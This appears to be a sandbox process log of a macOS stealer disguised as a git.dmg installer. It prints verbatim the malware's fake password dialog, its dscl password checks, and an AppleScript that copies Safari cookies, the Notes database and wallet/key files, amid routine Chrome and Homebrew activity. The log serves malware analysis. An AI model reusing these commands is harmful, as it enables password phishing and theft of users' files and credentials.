"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=10" "--launch-time-ticks=303098885" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=65"
1⤵
PID:512

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=11" "--launch-time-ticks=303106889" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=65"
1⤵
PID:513

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin --productid com.google.Chrome --print-tickets --store /Library/Google/GoogleSoftwareUpdate/TicketStore/Keystone.ticketstore
1⤵
PID:514

/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin
/Library/Google/GoogleSoftwareUpdate/GoogleSoftwareUpdate.bundle/Contents/Helpers/ksadmin -P com.google.Chrome --delete --user-store
1⤵
PID:516

/usr/sbin/system_profiler
/usr/sbin/system_profiler SPConfigurationProfileDataType -detailLevel mini -timeout 15 -xml
1⤵
PID:519

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=96"
1⤵
PID:521

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=99"
1⤵
PID:544

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=105"
1⤵
PID:545

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=115"
1⤵
PID:546

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=114"
1⤵
PID:547

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --extension-process --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=19" "--launch-time-ticks=315908862" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=117"
1⤵
PID:548

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper (Renderer).app/Contents/MacOS/Google Chrome Helper (Renderer)" "--type=renderer" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --display-capture-permissions-policy-allowed "--lang=en-GB" "--num-raster-threads=1" --enable-zero-copy --enable-gpu-memory-buffer-compositor-resources "--renderer-client-id=20" "--launch-time-ticks=331180230" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=126"
1⤵
PID:549

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=69"
1⤵
PID:550

/usr/bin/hdiutil
hdiutil attach git.dmg
1⤵
PID:558

/usr/libexec/xpcproxy
xpcproxy com.apple.hdiejectd
1⤵
PID:559

/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/hdiejectd
1⤵
PID:559

/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 78B5B8B8-A83E-466F-9FB5-4E5ABD0413D3
1⤵
PID:560

/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper
/System/Library/PrivateFrameworks/DiskImages.framework/Resources/diskimages-helper -uuid 78B5B8B8-A83E-466F-9FB5-4E5ABD0413D3 -post-exec 4
1⤵
PID:561

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=data_decoder.mojom.DataDecoderService" "--lang=en-GB" "--service-sandbox-type=service" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=115"
1⤵
PID:563

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=83"
1⤵
PID:564

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=83"
1⤵
PID:566

/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper
"/Applications/Google Chrome.app/Contents/Frameworks/Google Chrome Framework.framework/Versions/101.0.4951.54/Helpers/Google Chrome Helper.app/Contents/MacOS/Google Chrome Helper" "--type=utility" "--utility-sub-type=unzip.mojom.Unzipper" "--lang=en-GB" "--service-sandbox-type=utility" "--metrics-client-id=c4c0c7dc-66bc-4341-87b4-36b4665ab2e7" --shared-files "--field-trial-handle=1718379636,r,9429475778656422221,8968806579654328096,131072" "--seatbelt-client=116"
1⤵
PID:567

/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -p disk3s1 removable readonly
1⤵
PID:568

/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util
/System/Library/Filesystems/hfs.fs/Contents/Resources/./hfs.util -k disk3s1
1⤵
PID:569

/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs
/System/Library/Filesystems/hfs.fs/Contents/Resources/./fsck_hfs -q /dev/rdisk3s1
1⤵
PID:570

/sbin/mount
/sbin/mount -t hfs -o "-u=502,-g=20,-m=755,nodev,noowners,nosuid,rdonly" /dev/disk3s1 /Volumes/Git
1⤵
PID:571
- /sbin/mount_hfs
  /sbin/mount_hfs -u 502 -g 20 -m 755 -o nodev -o noowners -o nosuid -o rdonly /dev/disk3s1 /Volumes/Git
  2⤵
  PID:572

/usr/bin/grep
grep /Volumes
1⤵
PID:578

/usr/bin/awk
awk "{print \$NF}"
1⤵
PID:579

/usr/libexec/xpcproxy
xpcproxy com.apple.metadata.mdwrite
1⤵
PID:584

/bin/sh
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:590

/bin/bash
sh -c "osascript -e 'tell application \"Terminal\" to set visible of front window to false'"
1⤵
PID:590

/usr/bin/osascript
osascript -e "tell application \"Terminal\" to set visible of front window to false"
1⤵
PID:590

/bin/sh
sh -c "mkdir /Users/run/447743752"
1⤵
PID:591

/bin/bash
sh -c "mkdir /Users/run/447743752"
1⤵
PID:591

/bin/mkdir
mkdir /Users/run/447743752
1⤵
PID:591

/bin/sh
sh -c sw_vers
1⤵
PID:592

/bin/bash
sh -c sw_vers
1⤵
PID:592

/usr/bin/sw_vers
sw_vers
1⤵
PID:592

/bin/sh
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:593

/bin/bash
sh -c "system_profiler SPHardwareDataType"
1⤵
PID:593

/usr/sbin/system_profiler
system_profiler SPHardwareDataType
1⤵
PID:593

/bin/sh
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:595

/bin/bash
sh -c "system_profiler SPDisplaysDataType"
1⤵
PID:595

/usr/sbin/system_profiler
system_profiler SPDisplaysDataType
1⤵
PID:595

/bin/sh
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:597

/bin/bash
sh -c "dscl /Local/Default -authonly run \"\""
1⤵
PID:597

/usr/bin/dscl
dscl /Local/Default -authonly run
1⤵
PID:597

/bin/sh
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:598

/bin/bash
sh -c "osascript -e 'display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer'"
1⤵
PID:598

/usr/bin/osascript
osascript -e "display dialog \"To launch the application, you need to update the system settings \\n\\nPlease enter your password.\" with title \"System Preferences\" with icon caution default answer \"\" giving up after 30 with hidden answer"
1⤵
PID:598

/usr/sbin/spctl
/usr/sbin/spctl --assess --type execute /Applications/OneDrive.app
1⤵
PID:599

/usr/libexec/xpcproxy
xpcproxy com.apple.ReportMemoryException
1⤵
PID:600

/usr/libexec/ReportMemoryException
/usr/libexec/ReportMemoryException
1⤵
PID:600

/bin/sh
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:601

/bin/bash
sh -c "dscl /Local/Default -authonly run root"
1⤵
PID:601

/usr/bin/dscl
dscl /Local/Default -authonly run root
1⤵
PID:601

/bin/sh
sh -c "mkdir -p '/Users/run/447743752/Chromium/Chrome'"
1⤵
PID:602

/bin/bash
sh -c "mkdir -p '/Users/run/447743752/Chromium/Chrome'"
1⤵
PID:602

/bin/mkdir
mkdir -p /Users/run/447743752/Chromium/Chrome
1⤵
PID:602

/bin/sh
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"447743752\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"447743752:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:603

/bin/bash
sh -c "osascript -e 'set baseFolderPath to (path to home folder as text) & \"447743752\"' -e 'set fileGrabberFolderPath to (path to home folder as text) & \"447743752:FileGrabber:\"' -e 'tell application \"Finder\"' -e 'set username to short user name of (system info)' -e 'try' -e 'if not (exists folder fileGrabberFolderPath) then' -e 'make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}' -e 'end if' -e 'set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")' -e 'try' -e 'duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing' -e 'end try' -e 'set homePath to path to home folder as string' -e 'set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"' -e 'try' -e 'duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing' -e 'end try' -e 'set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}' -e 'set desktopFiles to every file of desktop' -e 'set documentsFiles to every file of folder \"Documents\" of (path to home folder)' -e 'repeat with aFile in (desktopFiles & documentsFiles)' -e 'set fileExtension to name extension of aFile' -e 'if fileExtension is in extensionsList then' -e 'set fileSize to size of aFile' -e 'if fileSize ≤ 51200 then' -e 'duplicate aFile to folder fileGrabberFolderPath with replacing' -e 'end if' -e 'end if' -e 'end repeat' -e 'end try' -e 'end tell'"
1⤵
PID:603

/usr/bin/osascript
osascript -e "set baseFolderPath to (path to home folder as text) & \"447743752\"" -e "set fileGrabberFolderPath to (path to home folder as text) & \"447743752:FileGrabber:\"" -e "tell application \"Finder\"" -e "set username to short user name of (system info)" -e try -e "if not (exists folder fileGrabberFolderPath) then" -e "make new folder at folder baseFolderPath with properties {name:\"FileGrabber\"}" -e "end if" -e "set safariFolder to ((path to library folder from user domain as text) & \"Containers:com.apple.Safari:Data:Library:Cookies:\")" -e try -e "duplicate file \"Cookies.binarycookies\" of folder safariFolder to folder baseFolderPath with replacing" -e "end try" -e "set homePath to path to home folder as string" -e "set sourceFilePath to homePath & \"Library:Group Containers:group.com.apple.notes:\"" -e try -e "duplicate file \"NoteStore.sqlite\" of folder sourceFilePath to folder baseFolderPath with replacing" -e "end try" -e "set extensionsList to {\"txt\", \"docx\", \"rtf\", \"doc\", \"wallet\", \"keys\", \"key\"}" -e "set desktopFiles to every file of desktop" -e "set documentsFiles to every file of folder \"Documents\" of (path to home folder)" -e "repeat with aFile in (desktopFiles & documentsFiles)" -e "set fileExtension to name extension of aFile" -e "if fileExtension is in extensionsList then" -e "set fileSize to size of aFile" -e "if fileSize ≤ 51200 then" -e "duplicate aFile to folder fileGrabberFolderPath with replacing" -e "end if" -e "end if" -e "end repeat" -e "end try" -e "end tell"
1⤵
PID:603

/usr/bin/readlink
readlink /usr/local/bin/brew
1⤵
PID:611

/usr/bin/dirname
dirname ../Homebrew/bin/brew
1⤵
PID:613

/usr/bin/readlink
readlink /usr/local/bin/brew
1⤵
PID:616

/usr/bin/dirname
dirname ../Homebrew/bin/brew
1⤵
PID:618

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git -C /usr/local/Homebrew describe --tags --dirty "--abbrev=7"
1⤵
PID:624

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:630

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:633

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:635

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:638

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git -C /usr/local/Homebrew describe --tags --dirty "--abbrev=7"
1⤵
PID:624

/usr/local/Homebrew/Library/Homebrew/shims/shared/curl
/usr/local/Homebrew/Library/Homebrew/shims/shared/curl --version
1⤵
PID:644

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:651

/usr/bin/curl
/usr/bin/curl --version
1⤵
PID:644

/usr/bin/xcode-select
/usr/bin/xcode-select --print-path
1⤵
PID:656

/usr/bin/xcrun
/usr/bin/xcrun clang
1⤵
PID:658

/Library/Developer/CommandLineTools/usr/bin/clang
/Library/Developer/CommandLineTools/usr/bin/clang
1⤵
PID:658

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.devcmdrun
1⤵
PID:660

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:666

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:669

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:671

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:674

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.devcmdrun
1⤵
PID:660

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsmessage
1⤵
PID:680

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:686

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:689

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:691

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:694

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsmessage
1⤵
PID:680

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsdisabled
1⤵
PID:699

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:705

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:708

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:710

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:713

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsdisabled
1⤵
PID:699

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsuuid
1⤵
PID:718

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:724

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:727

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:729

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:732

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsuuid
1⤵
PID:718

/usr/bin/find
find /usr/local/Homebrew/.git/FETCH_HEAD -type f -mtime -300s
1⤵
PID:739

/bin/sleep
sleep 3
1⤵
PID:742

/usr/bin/readlink
readlink /usr/local/bin/brew
1⤵
PID:747

/usr/bin/dirname
dirname ../Homebrew/bin/brew
1⤵
PID:749

/usr/bin/readlink
readlink /usr/local/bin/brew
1⤵
PID:752

/usr/bin/dirname
dirname ../Homebrew/bin/brew
1⤵
PID:754

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git -C /usr/local/Homebrew describe --tags --dirty "--abbrev=7"
1⤵
PID:760

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:766

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:769

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:771

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:774

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git -C /usr/local/Homebrew describe --tags --dirty "--abbrev=7"
1⤵
PID:760

/usr/local/Homebrew/Library/Homebrew/shims/shared/curl
/usr/local/Homebrew/Library/Homebrew/shims/shared/curl --version
1⤵
PID:780

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:787

/usr/bin/curl
/usr/bin/curl --version
1⤵
PID:780

/usr/bin/xcode-select
/usr/bin/xcode-select --print-path
1⤵
PID:792

/usr/bin/xcrun
/usr/bin/xcrun clang
1⤵
PID:794

/Library/Developer/CommandLineTools/usr/bin/clang
/Library/Developer/CommandLineTools/usr/bin/clang
1⤵
PID:794

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.devcmdrun
1⤵
PID:796

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:802

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:805

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:807

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:810

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.devcmdrun
1⤵
PID:796

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsmessage
1⤵
PID:816

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:822

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:825

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:827

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:830

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsmessage
1⤵
PID:816

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsdisabled
1⤵
PID:835

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:841

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:844

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:846

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:849

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsdisabled
1⤵
PID:835

/usr/local/Homebrew/Library/Homebrew/shims/shared/git
/usr/local/Homebrew/Library/Homebrew/shims/shared/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsuuid
1⤵
PID:854

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:860

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:863

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:865

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:868

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config "--file=/usr/local/Homebrew/.git/config" --get homebrew.analyticsuuid
1⤵
PID:854

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:878

/usr/bin/xcode-select
/usr/bin/xcode-select -print-path
1⤵
PID:881

/usr/bin/xcrun
/usr/bin/xcrun -find git
1⤵
PID:883

/usr/bin/tr
tr "[:upper:]" "[:lower:]"
1⤵
PID:886

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump
1⤵
PID:897

/usr/sbin/spindump
/usr/sbin/spindump
1⤵
PID:897

/usr/libexec/xpcproxy
xpcproxy com.apple.spindump_agent
1⤵
PID:898

/usr/libexec/spindump_agent
/usr/libexec/spindump_agent
1⤵
PID:898

/usr/libexec/xpcproxy
xpcproxy com.apple.DesktopServicesHelper.D7ED6BC7-86D9-4663-A948-A06B42D4ED6A
1⤵
PID:903

/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
/System/Library/PrivateFrameworks/DesktopServicesPriv.framework/Resources/DesktopServicesHelper
1⤵
PID:903

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git config homebrew.linuxbrewmigrated
1⤵
PID:905

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git symbolic-ref refs/remotes/origin/HEAD
1⤵
PID:911

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git rev-parse -q --verify refs/remotes/origin/master
1⤵
PID:913

/Library/Developer/CommandLineTools/usr/bin/git
/Library/Developer/CommandLineTools/usr/bin/git tag --list
1⤵
PID:915

/bin/sh
